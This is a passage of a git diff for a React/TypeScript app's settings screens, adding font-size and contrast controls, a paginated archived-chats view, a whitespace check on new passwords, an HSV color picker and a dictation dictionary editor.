+  return { inputs, requestUpload, requestFolder, importFile };
+}
+
+function FontSizeInput({
+  value,
+  range,
+  onCommit,
+  ariaLabel,
+}: {
+  value: number | null;
+  range: { min: number; max: number; default: number };
+  onCommit: (next: number | null) => void;
+  ariaLabel: string;
+}) {
+  const [draft, setDraft] = useState(value === null ? "" : String(value));
+  useEffect(() => {
+    setDraft(value === null ? "" : String(value));
+  }, [value]);
+  const commit = () => {
+    const trimmed = draft.trim();
+    if (trimmed === "") {
+      onCommit(null);
+      return;
+    }
+    const parsed = Number.parseInt(trimmed, 10);
+    if (Number.isNaN(parsed)) {
+      setDraft(value === null ? "" : String(value));
+      return;
+    }
+    onCommit(Math.min(range.max, Math.max(range.min, parsed)));
+  };
+  return (
+    <div className="flex items-center gap-1.5">
+      <Input
+        type="number"
+        inputMode="numeric"
+        min={range.min}
+        max={range.max}
+        value={draft}
+        placeholder={String(range.default)}
+        onChange={(e) => setDraft(e.target.value)}
+        onBlur={commit}
+        onKeyDown={(e) => {
+          if (e.key === "Enter") {
+            commit();
+            e.currentTarget.blur();
+          }
+        }}
+        aria-label={ariaLabel}
+        className="h-8 w-20 text-xs"
+      />
+      <span className="text-xs text-muted-foreground">px</span>
+    </div>
+  );
+}
+
+export function UiFontSizeRow() {
+  const t = useT();
+  const uiFontSize = useAppearanceCustomStore(
+    (s) => s.customization.uiFontSize,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSizeInput
+      value={uiFontSize}
+      range={UI_FONT_SIZE_RANGE}
+      onCommit={(next) => patch({ uiFontSize: next })}
+      ariaLabel={t("settings.appearance.custom.uiFontSize.label")}
+    />
+  );
+}
+
+export function CodeFontSizeRow() {
+  const t = useT();
+  const codeFontSize = useAppearanceCustomStore(
+    (s) => s.customization.codeFontSize,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <FontSizeInput
+      value={codeFontSize}
+      range={CODE_FONT_SIZE_RANGE}
+      onCommit={(next) => patch({ codeFontSize: next })}
+      ariaLabel={t("settings.appearance.custom.codeFontSize.label")}
+    />
+  );
+}
+
+export function FontSmoothingSwitch() {
+  const fontSmoothing = useAppearanceCustomStore(
+    (s) => s.customization.fontSmoothing,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <Switch
+      checked={fontSmoothing}
+      onCheckedChange={(checked) => patch({ fontSmoothing: checked })}
+    />
+  );
+}
+
+/* ------------------------------ Interface ------------------------------- */
+
+export function ContrastSliderRow() {
+  const t = useT();
+  const contrast = useAppearanceCustomStore((s) => s.customization.contrast);
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <div className="flex w-48 items-center gap-3">
+      <Slider
+        value={[contrast]}
+        min={0}
+        max={100}
+        step={5}
+        onValueChange={(values: number[]) => patch({ contrast: values[0] })}
+        aria-label={t("settings.appearance.custom.contrast.label")}
+      />
+      <span className="w-8 text-right text-xs tabular-nums text-muted-foreground">
+        {contrast}
+      </span>
+    </div>
+  );
+}
+
+export function PointerCursorsSwitch() {
+  const pointerCursors = useAppearanceCustomStore(
+    (s) => s.customization.pointerCursors,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  return (
+    <Switch
+      checked={pointerCursors}
+      onCheckedChange={(checked) => patch({ pointerCursors: checked })}
+    />
+  );
+}
+
+const REDUCE_MOTION_OPTIONS: {
+  value: ReduceMotionSetting;
+  labelKey: TranslationKey;
+}[] = [
+  {
+    value: "system",
+    labelKey: "settings.appearance.custom.reduceMotion.system",
+  },
+  { value: "on", labelKey: "settings.appearance.custom.reduceMotion.on" },
+  { value: "off", labelKey: "settings.appearance.custom.reduceMotion.off" },
+];
+
+export function ReduceMotionSegmented() {
+  const t = useT();
+  const reduceMotion = useAppearanceCustomStore(
+    (s) => s.customization.reduceMotion,
+  );
+  const patch = useAppearanceCustomStore((s) => s.patch);
+  const reduced = useReducedMotionConfig();
+  return (
+    <div className="hub-tab-toggle inline-flex h-8 items-center rounded-full">
+      {REDUCE_MOTION_OPTIONS.map((opt) => {
+        const active = reduceMotion === opt.value;
+        return (
+          <button
+            key={opt.value}
+            type="button"
+            onClick={() => patch({ reduceMotion: opt.value })}
+            aria-pressed={active}
+            className={cn(
+              "relative flex h-8 items-center rounded-full px-3 text-xs font-medium transition-colors",
+              active
+                ? "text-foreground"
+                : "text-muted-foreground hover:text-foreground",
+            )}
+          >
+            {active && (
+              <motion.span
+                layoutId="reduce-motion-pill"
+                className="hub-tab-toggle-pill absolute inset-0 rounded-full"
+                transition={
+                  reduced
+                    ? { duration: 0 }
+                    : { type: "spring", stiffness: 500, damping: 35, mass: 0.5 }
+                }
+              />
+            )}
+            <span className="relative z-10">{t(opt.labelKey)}</span>
+          </button>
+        );
+      })}
+    </div>
+  );
+}
+
+/* ------------------------------- Reset all ------------------------------ */
+
+export function ResetCustomizationButton() {
+  const t = useT();
+  const customization = useAppearanceCustomStore((s) => s.customization);
+  const resetAll = useAppearanceCustomStore((s) => s.resetAll);
+  const pristine = isDefaultCustomization(customization);
+  return (
+    <Button
+      type="button"
+      variant="outline"
+      size="sm"
+      disabled={pristine}
+      onClick={resetAll}
+    >
+      {t("settings.appearance.custom.resetAll")}
+    </Button>
+  );
+}
+
+export { DEFAULT_CUSTOMIZATION };
diff --git a/studio/frontend/src/features/settings/components/archived-chats-dialog.tsx b/studio/frontend/src/features/settings/components/archived-chats-dialog.tsx
index 836b4d25d4..43b2900fbe 100644
--- a/studio/frontend/src/features/settings/components/archived-chats-dialog.tsx
+++ b/studio/frontend/src/features/settings/components/archived-chats-dialog.tsx
@@ -12,26 +12,24 @@ import {
   AlertDialogTitle,
 } from "@/components/ui/alert-dialog";
 import {
-  Dialog,
-  DialogContent,
-  DialogHeader,
-  DialogTitle,
-} from "@/components/ui/dialog";
-import {
+  type SidebarItem,
   deleteChatItem,
   unarchiveChatItem,
   useChatPreferencesStore,
   useChatRuntimeStore,
   useChatSidebarItems,
-  type SidebarItem,
 } from "@/features/chat";
 import { toast } from "@/lib/toast";
 import { ArchiveRestoreIcon, Delete02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
+import { Button } from "@/components/ui/button";
 import { useNavigate, useRouterState } from "@tanstack/react-router";
 import { useState } from "react";
 import { useSettingsDialogStore } from "../stores/settings-dialog-store";
 
+/** Archived chats shown per page; "Show more" reveals the next page. */
+const ARCHIVED_PAGE_SIZE = 20;
+
 function formatCreatedAt(ms: number): string {
   return new Date(ms).toLocaleDateString(undefined, {
     year: "numeric",
@@ -40,13 +38,7 @@ function formatCreatedAt(ms: number): string {
   });
 }
 
-export function ArchivedChatsDialog({
-  open,
-  onOpenChange,
-}: {
-  open: boolean;
-  onOpenChange: (open: boolean) => void;
-}) {
+export function ArchivedChatsView() {
   const { archivedItems } = useChatSidebarItems({ requireMessages: false });
   const navigate = useNavigate();
   const closeSettings = useSettingsDialogStore((s) => s.closeDialog);
@@ -66,6 +58,9 @@ export function ArchivedChatsDialog({
   const [confirmingDelete, setConfirmingDelete] = useState<SidebarItem | null>(
     null,
   );
+  // Pagination: the view remounts with its settings tab, so plain state
+  // restarts from the first page on each visit.
+  const [visibleCount, setVisibleCount] = useState(ARCHIVED_PAGE_SIZE);
 
   // Open an archived chat: leave it archived, just navigate to it.
   function openChat(item: SidebarItem) {
@@ -74,7 +69,6 @@ export function ArchivedChatsDialog({
       search:
         item.type === "single" ? { thread: item.id } : { compare: item.id },
     });
-    onOpenChange(false);
     closeSettings();
   }
 
@@ -114,72 +108,79 @@ export function ArchivedChatsDialog({
   }
 
   return (
-    <Dialog open={open} onOpenChange={onOpenChange}>
-      <DialogContent className="max-w-2xl">
-        <DialogHeader>
-          <DialogTitle>Archived chats</DialogTitle>
-        </DialogHeader>
-
-        {archivedItems.length === 0 ? (
-          <p className="py-8 text-center text-sm text-muted-foreground">
-            No archived chats.
-          </p>
-        ) : (
-          <div className="max-h-[60vh] overflow-y-auto">
-            <div className="flex items-center gap-4 border-b border-border/60 px-1 pb-2 text-xs font-semibold text-foreground">
-              <span className="flex-1">Name</span>
-              <span className="w-32 shrink-0">Date created</span>
-              <span className="w-16 shrink-0" />
-            </div>
-            {archivedItems.map((item) => (
-              <div
-                key={item.id}
-                className="group flex items-center gap-4 border-b border-border/40 px-1 py-2.5 text-sm last:border-0"
+    <div className="flex flex-col gap-4">
+      {archivedItems.length === 0 ? (
+        <p className="py-8 text-center text-sm text-muted-foreground">
+          No archived chats.
+        </p>
+      ) : (
+        <div>
+          <div className="flex items-center gap-4 border-b border-border/60 px-1 pb-2 text-xs font-semibold text-foreground">
+            <span className="flex-1">Name</span>
+            <span className="w-32 shrink-0">Date created</span>
+            <span className="w-16 shrink-0" />
+          </div>
+          {archivedItems.slice(0, visibleCount).map((item) => (
+            <div
+              key={item.id}
+              className="group flex items-center gap-4 border-b border-border/40 px-1 py-2.5 text-sm last:border-0"
+            >
+              <button
+                type="button"
+                onClick={() => openChat(item)}
+                className="min-w-0 flex-1 truncate text-left text-primary hover:underline"
+                title={item.title}
               >
+                {item.title}
+              </button>
+              <span className="w-32 shrink-0 text-muted-foreground tabular-nums">
+                {formatCreatedAt(item.createdAt)}
+              </span>
+              <span className="flex w-16 shrink-0 items-center justify-end gap-1">
                 <button
                   type="button"
-                  onClick={() => openChat(item)}
-                  className="min-w-0 flex-1 truncate text-left text-primary hover:underline"
-                  title={item.title}
+                  onClick={() => void handleUnarchive(item)}
+                  aria-label="Unarchive chat"
+                  title="Unarchive"
+                  className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
                 >
-                  {item.title}
+                  <HugeiconsIcon
+                    icon={ArchiveRestoreIcon}
+                    strokeWidth={1.75}
+                    className="size-4"
+                  />
                 </button>
-                <span className="w-32 shrink-0 text-muted-foreground tabular-nums">
-                  {formatCreatedAt(item.createdAt)}
-                </span>
-                <span className="flex w-16 shrink-0 items-center justify-end gap-1">
-                  <button
-                    type="button"
-                    onClick={() => void handleUnarchive(item)}
-                    aria-label="Unarchive chat"
-                    title="Unarchive"
-                    className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
-                  >
-                    <HugeiconsIcon
-                      icon={ArchiveRestoreIcon}
-                      strokeWidth={1.75}
-                      className="size-4"
-                    />
-                  </button>
-                  <button
-                    type="button"
-                    onClick={() => requestDelete(item)}
-                    aria-label="Delete chat"
-                    title="Delete"
-                    className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-destructive/10 hover:text-destructive"
-                  >
-                    <HugeiconsIcon
-                      icon={Delete02Icon}
-                      strokeWidth={1.75}
-                      className="size-4"
-                    />
-                  </button>
-                </span>
-              </div>
-            ))}
-          </div>
-        )}
-      </DialogContent>
+                <button
+                  type="button"
+                  onClick={() => requestDelete(item)}
+                  aria-label="Delete chat"
+                  title="Delete"
+                  className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-destructive/10 hover:text-destructive"
+                >
+                  <HugeiconsIcon
+                    icon={Delete02Icon}
+                    strokeWidth={1.75}
+                    className="size-4"
+                  />
+                </button>
+              </span>
+            </div>
+          ))}
+          {archivedItems.length > visibleCount ? (
+            <div className="flex justify-center pt-3">
+              <Button
+                variant="outline"
+                size="sm"
+                onClick={() =>
+                  setVisibleCount(visibleCount + ARCHIVED_PAGE_SIZE)
+                }
+              >
+                Show more ({archivedItems.length - visibleCount})
+              </Button>
+            </div>
+          ) : null}
+        </div>
+      )}
 
       <AlertDialog
         open={confirmingDelete !== null}
@@ -213,6 +214,6 @@ export function ArchivedChatsDialog({
           </AlertDialogFooter>
         </AlertDialogContent>
       </AlertDialog>
-    </Dialog>
+    </div>
   );
 }
diff --git a/studio/frontend/src/features/settings/components/change-password-dialog.tsx b/studio/frontend/src/features/settings/components/change-password-dialog.tsx
index cd30d37d5d..c88fc48cac 100644
--- a/studio/frontend/src/features/settings/components/change-password-dialog.tsx
+++ b/studio/frontend/src/features/settings/components/change-password-dialog.tsx
@@ -78,6 +78,9 @@ function passwordValidationMessage(
       minLength: MIN_PASSWORD_LENGTH,
     });
   }
+  if (/\s/.test(nextPassword)) {
+    return t("settings.general.passwordDialog.newHasSpaces");
+  }
   if (nextPassword !== confirmPassword) {
     return t("settings.general.passwordDialog.mismatch");
   }
@@ -160,6 +163,7 @@ export function ChangePasswordDialog() {
 
   const currentTooShort = hasStartedTooShortPassword(current);
   const nextTooShort = hasStartedTooShortPassword(next);
+  const nextHasSpaces = /\s/.test(next);
   const mismatch = confirm.length > 0 && next !== confirm;
   const samePassword = hasReusablePassword(current, next);
   const validationMessage = passwordValidationMessage(
@@ -279,13 +283,15 @@ export function ChangePasswordDialog() {
                 minLength={MIN_PASSWORD_LENGTH}
                 disabled={submitting}
               />
-              {nextTooShort || samePassword ? (
+              {nextTooShort || nextHasSpaces || samePassword ? (
                 <p className="text-xs text-destructive" aria-live="polite">
                   {nextTooShort
                     ? t("settings.general.passwordDialog.newTooShort", {
                         minLength: MIN_PASSWORD_LENGTH,
                       })
-                    : t("settings.general.passwordDialog.samePassword")}
+                    : nextHasSpaces
+                      ? t("settings.general.passwordDialog.newHasSpaces")
+                      : t("settings.general.passwordDialog.samePassword")}
                 </p>
               ) : null}
             </div>
diff --git a/studio/frontend/src/features/settings/components/color-picker.tsx b/studio/frontend/src/features/settings/components/color-picker.tsx
new file mode 100644
index 0000000000..77ff8b1b7f
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/color-picker.tsx
@@ -0,0 +1,270 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from "@/components/ui/popover";
+import { useT } from "@/i18n";
+import { cn } from "@/lib/utils";
+import { ColorPickerIcon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useEffect, useRef, useState } from "react";
+
+/* ------------------------- HSV ↔ hex conversions ------------------------- */
+
+type Hsv = { h: number; s: number; v: number };
+
+function hexToHsv(hex: string): Hsv {
+  const r = Number.parseInt(hex.slice(1, 3), 16) / 255;
+  const g = Number.parseInt(hex.slice(3, 5), 16) / 255;
+  const b = Number.parseInt(hex.slice(5, 7), 16) / 255;
+  const max = Math.max(r, g, b);
+  const min = Math.min(r, g, b);
+  const d = max - min;
+  let h = 0;
+  if (d !== 0) {
+    if (max === r) h = ((g - b) / d) % 6;
+    else if (max === g) h = (b - r) / d + 2;
+    else h = (r - g) / d + 4;
+    h *= 60;
+    if (h < 0) h += 360;
+  }
+  return { h, s: max === 0 ? 0 : d / max, v: max };
+}
+
+function hsvToHex({ h, s, v }: Hsv): string {
+  const c = v * s;
+  const x = c * (1 - Math.abs(((h / 60) % 2) - 1));
+  const m = v - c;
+  let rgb: [number, number, number];
+  if (h < 60) rgb = [c, x, 0];
+  else if (h < 120) rgb = [x, c, 0];
+  else if (h < 180) rgb = [0, c, x];
+  else if (h < 240) rgb = [0, x, c];
+  else if (h < 300) rgb = [x, 0, c];
+  else rgb = [c, 0, x];
+  const channel = (value: number) =>
+    Math.round((value + m) * 255)
+      .toString(16)
+      .padStart(2, "0");
+  return `#${channel(rgb[0])}${channel(rgb[1])}${channel(rgb[2])}`;
+}
+
+const HEX_PATTERN = /^#?([0-9a-fA-F]{6})$/;
+
+function isLightColor(hex: string): boolean {
+  const r = Number.parseInt(hex.slice(1, 3), 16);
+  const g = Number.parseInt(hex.slice(3, 5), 16);
+  const b = Number.parseInt(hex.slice(5, 7), 16);
+  return (0.2126 * r + 0.7152 * g + 0.0722 * b) / 255 > 0.62;
+}
+
+/* ------------------------------- Component ------------------------------- */
+
+type EyeDropperResult = { sRGBHex: string };
+type EyeDropperConstructor = new () => {
+  open: () => Promise<EyeDropperResult>;
+};
+
+/**
+ * In-app color picker in a Popover: saturation/value area, hue slider, hex
+ * field, and (where supported) a screen eyedropper. Replaces the native
+ * <input type="color"> so no OS-level color panel is left dangling when the
+ * user clicks away; the popover dismisses like any other popup.
+ */
+export function ColorPickerSwatch({
+  value,
+  onChange,
+  label,
+}: {
+  value: string;
+  onChange: (hex: string) => void;
+  label: string;
+}) {
+  const t = useT();
+  const [open, setOpen] = useState(false);
+  const [hsv, setHsv] = useState<Hsv>(() => hexToHsv(value));
+  const [hexDraft, setHexDraft] = useState(value);
+  const areaRef = useRef<HTMLDivElement>(null);
+
+  // Re-seed the picker from the outside value each time it opens (the value
+  // may have changed via reset, palette switch, or remote sync).
+  useEffect(() => {
+    if (open) {
+      setHsv(hexToHsv(value));
+      setHexDraft(value);
+    }
+  }, [open, value]);
+
+  const emit = (next: Hsv) => {
+    setHsv(next);
+    const hex = hsvToHex(next);
+    setHexDraft(hex);
+    onChange(hex);
+  };
+
+  const moveFromPointer = (e: React.PointerEvent) => {
+    const area = areaRef.current;
+    if (!area) return;
+    const rect = area.getBoundingClientRect();
+    const s = Math.min(1, Math.max(0, (e.clientX - rect.left) / rect.width));
+    const v =
+      1 - Math.min(1, Math.max(0, (e.clientY - rect.top) / rect.height));
+    emit({ ...hsv, s, v });
+  };
+
+  const commitHex = () => {
+    const match = HEX_PATTERN.exec(hexDraft.trim());
+    if (!match) {
+      setHexDraft(hsvToHex(hsv));
+      return;
+    }
+    const hex = `#${match[1].toLowerCase()}`;
+    setHsv(hexToHsv(hex));
+    setHexDraft(hex);
+    onChange(hex);
+  };
+
+  const eyeDropperCtor = (
+    globalThis as { EyeDropper?: EyeDropperConstructor }
+  ).EyeDropper;
+
+  const pickFromScreen = async () => {
+    if (!eyeDropperCtor) return;
+    try {
+      const result = await new eyeDropperCtor().open();
+      const hex = result.sRGBHex.toLowerCase();
+      if (HEX_PATTERN.test(hex)) {
+        setHsv(hexToHsv(hex));
+        setHexDraft(hex);
+        onChange(hex);
+      }
+    } catch {
+      // user dismissed the eyedropper
+    }
+  };
+
+  const hueColor = hsvToHex({ h: hsv.h, s: 1, v: 1 });
+  const light = isLightColor(value);
+
+  return (
+    <Popover open={open} onOpenChange={setOpen} modal={true}>
+      <PopoverTrigger asChild>
+        <button
+          type="button"
+          aria-label={label}
+          className={cn(
+            "flex h-8 min-w-24 cursor-pointer items-center gap-1.5 rounded-full border px-2.5 font-mono text-xs uppercase transition-colors",
+            light
+              ? "border-black/10 text-black/80"
+              : "border-white/15 text-white",
+          )}
+          style={{ backgroundColor: value }}
+        >
+          <span
+            className={cn(
+              "size-3.5 shrink-0 rounded-full border",
+              light ? "border-black/20" : "border-white/40",
+            )}
+          />
+          {value.toUpperCase()}
+        </button>
+      </PopoverTrigger>
+      <PopoverContent align="end" className="w-60 rounded-lg p-3">
+        <div className="flex flex-col gap-3">
+          <div
+            ref={areaRef}
+            role="slider"
+            aria-label={label}
+            aria-valuetext={hexDraft}
+            aria-valuenow={Math.round(hsv.v * 100)}
+            tabIndex={0}
+            className="relative h-36 w-full cursor-crosshair touch-none rounded-lg"
+            style={{
+              background: `linear-gradient(to top, #000, transparent), linear-gradient(to right, #fff, ${hueColor})`,
+            }}
+            onPointerDown={(e) => {
+              e.currentTarget.setPointerCapture(e.pointerId);
+              moveFromPointer(e);
+            }}
+            onPointerMove={(e) => {
+              if (e.buttons === 1) moveFromPointer(e);
+            }}
+            onKeyDown={(e) => {
+              // Arrow keys move the saturation (x) / value (y) selection so the
+              // area is operable without a pointer; Shift takes coarser steps.
+              const step = e.shiftKey ? 0.1 : 0.01;
+              let next: Hsv | null = null;
+              if (e.key === "ArrowLeft")
+                next = { ...hsv, s: Math.max(0, hsv.s - step) };
+              else if (e.key === "ArrowRight")
+                next = { ...hsv, s: Math.min(1, hsv.s + step) };
+              else if (e.key === "ArrowDown")
+                next = { ...hsv, v: Math.max(0, hsv.v - step) };
+              else if (e.key === "ArrowUp")
+                next = { ...hsv, v: Math.min(1, hsv.v + step) };
+              if (next) {
+                e.preventDefault();
+                emit(next);
+              }
+            }}
+          >
+            <span
+              className="pointer-events-none absolute size-3.5 -translate-x-1/2 -translate-y-1/2 rounded-full border-2 border-white shadow-[0_0_0_1px_rgba(0,0,0,0.35)]"
+              style={{
+                left: `${hsv.s * 100}%`,
+                top: `${(1 - hsv.v) * 100}%`,
+                backgroundColor: hsvToHex(hsv),
+              }}
+            />
+          </div>
+          <input
+            type="range"
+            min={0}
+            max={360}
+            step={1}
+            value={Math.round(hsv.h)}
+            aria-label={t("settings.appearance.custom.colorPicker.hue")}
+            onChange={(e) => emit({ ...hsv, h: Number(e.target.value) })}
+            className="h-3 w-full cursor-pointer appearance-none rounded-full outline-none [&::-moz-range-thumb]:size-3.5 [&::-moz-range-thumb]:rounded-full [&::-moz-range-thumb]:border-2 [&::-moz-range-thumb]:border-white [&::-moz-range-thumb]:bg-transparent [&::-webkit-slider-thumb]:size-3.5 [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:rounded-full [&::-webkit-slider-thumb]:border-2 [&::-webkit-slider-thumb]:border-white [&::-webkit-slider-thumb]:shadow-[0_0_0_1px_rgba(0,0,0,0.35)]"
+            style={{
+              background:
+                "linear-gradient(to right, #f00, #ff0, #0f0, #0ff, #00f, #f0f, #f00)",
+            }}
+          />
+          <div className="flex items-center gap-2">
+            <input
+              value={hexDraft.toUpperCase()}
+              onChange={(e) => setHexDraft(e.target.value)}
+              onBlur={commitHex}
+              onKeyDown={(e) => {
+                if (e.key === "Enter") {
+                  commitHex();
+                  e.currentTarget.blur();
+                }
+              }}
+              aria-label={t("settings.appearance.custom.colorPicker.hex")}
+              spellCheck={false}
+              className="h-8 w-full min-w-0 rounded-full border border-border bg-background px-3 font-mono text-xs text-foreground uppercase outline-none focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] dark:border-transparent dark:bg-white/[0.06]"
+            />
+            {eyeDropperCtor && (
+              <button
+                type="button"
+                onClick={() => void pickFromScreen()}
+                aria-label={t(
+                  "settings.appearance.custom.colorPicker.eyedropper",
+                )}
+                title={t("settings.appearance.custom.colorPicker.eyedropper")}
+                className="flex size-8 shrink-0 items-center justify-center rounded-full border border-border text-muted-foreground transition-colors hover:text-foreground"
+              >
+                <HugeiconsIcon icon={ColorPickerIcon} className="size-4" />
+              </button>
+            )}
+          </div>
+        </div>
+      </PopoverContent>
+    </Popover>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/create-key-form.tsx b/studio/frontend/src/features/settings/components/create-key-form.tsx
index e2ad23e59f..a16f67f1c1 100644
--- a/studio/frontend/src/features/settings/components/create-key-form.tsx
+++ b/studio/frontend/src/features/settings/components/create-key-form.tsx
@@ -64,7 +64,7 @@ export function CreateKeyForm({
                 onClick={() => setExpiry(p.value)}
                 aria-pressed={active}
                 className={cn(
-                  "inline-flex h-8 items-center rounded-full px-3.5 text-[12px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                  "inline-flex h-8 items-center rounded-full px-3.5 text-ui-12 font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                   active
                     ? "hub-tab-toggle-pill text-foreground"
                     : "text-muted-foreground hover:text-foreground",
diff --git a/studio/frontend/src/features/settings/components/dictation-dictionary-view.tsx b/studio/frontend/src/features/settings/components/dictation-dictionary-view.tsx
new file mode 100644
index 0000000000..41b8b21156
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/dictation-dictionary-view.tsx
@@ -0,0 +1,132 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Input } from "@/components/ui/input";
+import { useT } from "@/i18n";
+import {
+  ArrowLeft01Icon,
+  Delete02Icon,
+  PlusSignIcon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useState } from "react";
+import { useVoiceSettingsStore } from "../stores/voice-settings-store";
+
+// Full-page editor for the dictation dictionary. Kept on its own subpage so a
+// long list of entries does not crowd the main Voice settings.
+export function DictationDictionaryView({ onBack }: { onBack: () => void }) {
+  const t = useT();
+  const dictionary = useVoiceSettingsStore((s) => s.dictionary);
+  const addDictionaryEntry = useVoiceSettingsStore((s) => s.addDictionaryEntry);
+  const updateDictionaryEntry = useVoiceSettingsStore(
+    (s) => s.updateDictionaryEntry,
+  );
+  const commitDictionaryEntry = useVoiceSettingsStore(
+    (s) => s.commitDictionaryEntry,
+  );
+  const removeDictionaryEntry = useVoiceSettingsStore(
+    (s) => s.removeDictionaryEntry,
+  );
+  const [newEntry, setNewEntry] = useState("");
+
+  const handleAddEntry = () => {
+    const trimmed = newEntry.trim();
+    if (!trimmed) return;
+    addDictionaryEntry(trimmed);
+    setNewEntry("");
+  };
+
+  return (
+    <div className="flex flex-col gap-6">
+      <header className="flex items-center gap-2">
+        <button
+          type="button"
+          onClick={onBack}
+          aria-label={t("settings.voice.dictionary.backToVoice")}
+          className="inline-flex size-7 shrink-0 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+        >
+          <HugeiconsIcon icon={ArrowLeft01Icon} className="size-4" />
+        </button>
+        <h1 className="font-heading text-xl font-semibold">
+          {t("settings.voice.title")}
+        </h1>
+      </header>
+
+      <div className="flex flex-col gap-1">
+        <h2 className="text-sm font-semibold">
+          {t("settings.voice.dictionary.sectionTitle")}
+        </h2>
+        <p className="text-xs text-muted-foreground">
+          {t("settings.voice.dictionary.sectionDescription")}
+        </p>
+      </div>
+
+      <div className="flex flex-col">
+        {dictionary.map((entry, index) => (
+          <div
+            // biome-ignore lint/suspicious/noArrayIndexKey: entries are editable in place
+            key={index}
+            className="flex items-center gap-2 py-1.5"
+          >
+            <Input
+              value={entry}
+              onChange={(e) => updateDictionaryEntry(index, e.target.value)}
+              // Tabbing to this row's remove button must not commit-splice the
+              // row first, which shifts indices and deletes the wrong entry.
+              onBlur={(e) => {
+                if (
+                  e.relatedTarget instanceof HTMLElement &&
+                  e.relatedTarget.dataset.removeIndex === String(index)
+                ) {
+                  return;
+                }
+                commitDictionaryEntry(index);
+              }}
+              className="h-8 flex-1 text-sm"
+              aria-label={`Dictionary entry ${index + 1}`}
+            />
+            <Button
+              variant="ghost"
+              size="icon"
+              className="size-8 shrink-0 text-muted-foreground hover:text-destructive"
+              data-remove-index={index}
+              // Keep the click from blurring an empty input first, which would
+              // commit-splice this row and make onClick delete the next one.
+              onMouseDown={(e) => e.preventDefault()}
+              onClick={() => removeDictionaryEntry(index)}
+              aria-label={`Remove dictionary entry ${index + 1}`}
+            >
+              <HugeiconsIcon icon={Delete02Icon} className="size-3.5" />
+            </Button>
+          </div>
+        ))}
+        <div className="flex items-center gap-2 py-1.5">
+          <Input
+            value={newEntry}
+            onChange={(e) => setNewEntry(e.target.value)}
+            onKeyDown={(e) => {
+              if (e.key === "Enter") {
+                e.preventDefault();
+                handleAddEntry();
+              }
+            }}
+            placeholder="Jane Doe"
+            className="h-8 flex-1 text-sm"
+            aria-label="New dictionary entry"
+          />
+          <Button
+            variant="outline"
+            size="sm"
+            className="shrink-0"
+            onClick={handleAddEntry}
+            disabled={!newEntry.trim()}
+          >
+            <HugeiconsIcon icon={PlusSignIcon} className="mr-1.5 size-3.5" />
+            {t("settings.voice.dictionary.addEntry")}
+          </Button>
+        </div>
+      </div>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx b/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx
index b0e9a41b7d..28df663ec7 100644
--- a/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx
+++ b/studio/frontend/src/features/settings/components/embedding-model-combobox.tsx
@@ -100,7 +100,7 @@ export function EmbeddingModelCombobox({
         autoHighlight={true}
       >
         <ComboboxInput
-          className="h-8 w-full font-mono [&_input]:text-[11px]"
+          className="h-8 w-full font-mono [&_input]:text-ui-11"
           placeholder={placeholder}
           aria-label={ariaLabel}
           disabled={disabled}
@@ -123,7 +123,7 @@ export function EmbeddingModelCombobox({
                   selectingRef.current = true;
                 }}
               >
-                <span className="truncate font-mono text-[11px]">{id}</span>
+                <span className="truncate font-mono text-ui-11">{id}</span>
               </ComboboxItem>
             )}
           </ComboboxList>
diff --git a/studio/frontend/src/features/settings/components/finetune-recipe.ts b/studio/frontend/src/features/settings/components/finetune-recipe.ts
new file mode 100644
index 0000000000..c98f422a35
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/finetune-recipe.ts
@@ -0,0 +1,98 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Settings Data tab glue: turn chat history into a fine-tuning JSONL, stage
+// it as a Data Recipe seed upload, and open a new recipe on that file.
+
+import { type FineTuneFormat, buildFineTuneJsonl } from "@/features/chat";
+import { saveRecipe } from "@/features/data-recipes/data/recipes-db";
+import { createEmptyRecipePayload } from "@/features/recipe-studio";
+import { inspectSeedUpload } from "@/features/recipe-studio/api";
+import { uploadTrainingDataset } from "@/features/training/api/datasets-api";
+import { useTrainingConfigStore } from "@/features/training/stores/training-config-store";
+import { toast } from "@/lib/toast";
+
+/** btoa cannot handle code points above latin-1, so encode UTF-8 bytes. */
+function base64FromString(value: string): string {
+  const bytes = new TextEncoder().encode(value);
+  let binary = "";
+  const CHUNK = 0x8000;
+  for (let i = 0; i < bytes.length; i += CHUNK) {
